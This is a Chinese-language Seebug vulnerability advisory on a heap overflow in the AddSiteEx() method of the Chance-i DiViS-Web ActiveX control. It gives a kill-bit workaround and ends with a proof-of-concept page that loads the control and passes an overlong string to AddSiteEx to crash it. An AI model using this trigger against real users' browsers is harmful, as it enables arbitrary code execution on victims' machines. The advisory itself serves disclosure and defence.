DiViS-Web ActiveX控件AddSiteEx()方式堆溢出漏洞

2009-04-13T00:00:00
ID SSV:5042
Type seebug
Reporter Root
Modified 2009-04-13T00:00:00

Description

BUGTRAQ ID: 34468

DiViS-Web是Chance-i视频监控系统所使用的基于WEB的控制软件。

DiViS-Web ActiveX控件(ActiveView.cab)没有正确地验证对AddSiteEx()函数所传送的输入参数,如果用户受骗访问了恶意网页并向该参数传送了超长参数的话,就可以触发堆溢出,导致执行任意代码。

Chance-i DiViS-Web 3.0.0.7 临时解决方法:

  • 为clsid 66F7F252-3FE1-4650-B1E5-94B2A38271C5设置kill-bit。

厂商补丁:

Chance-i

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

<a href=http://www.divisdvr.com/divis/ target=_blank rel=external nofollow>http://www.divisdvr.com/divis/</a>

                                        
                                            
                                                &lt;OBJECT ID=&quot;DVR&quot; classid=&quot;clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5&quot; STYLE=&quot;width: 0px;&quot;&gt;  &lt;PARAM NAME=&quot;_Version&quot; VALUE=&quot;65536&quot;&gt;
    &lt;PARAM NAME=&quot;_ExtentX&quot; VALUE=&quot;18203&quot;&gt;
    &lt;PARAM NAME=&quot;_ExtentY&quot; VALUE=&quot;13705&quot;&gt;
    &lt;PARAM NAME=&quot;_StockProps&quot; VALUE=&quot;0&quot;&gt;
    &lt;PARAM NAME=&quot;Split&quot; VALUE=&quot;4&quot;&gt;
    &lt;/OBJECT&gt;

    //server address
    var g_sAddress = location.hostname;
    var g_sId = &quot;&quot;;
    var g_sPwd = &quot;&quot;;
    var g_bLogin = false;
    var g_nMaxCamera = 16;

    // Port setting
    var g_nImage = 3000;
    var g_nControl = 3001;
    var g_nSound = 8800;

    var long_buff = &quot;alexsint&quot;;
    
    while(long_buff.length&lt;(550*8)) long_buff = long_buff + &quot;alexsint&quot;; //rewrite registers

    DVR.Channels = 1;    
    
    DVR.AddSiteEx(&quot;&quot;, &quot;&quot;, long_buff, &quot;&quot;, 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll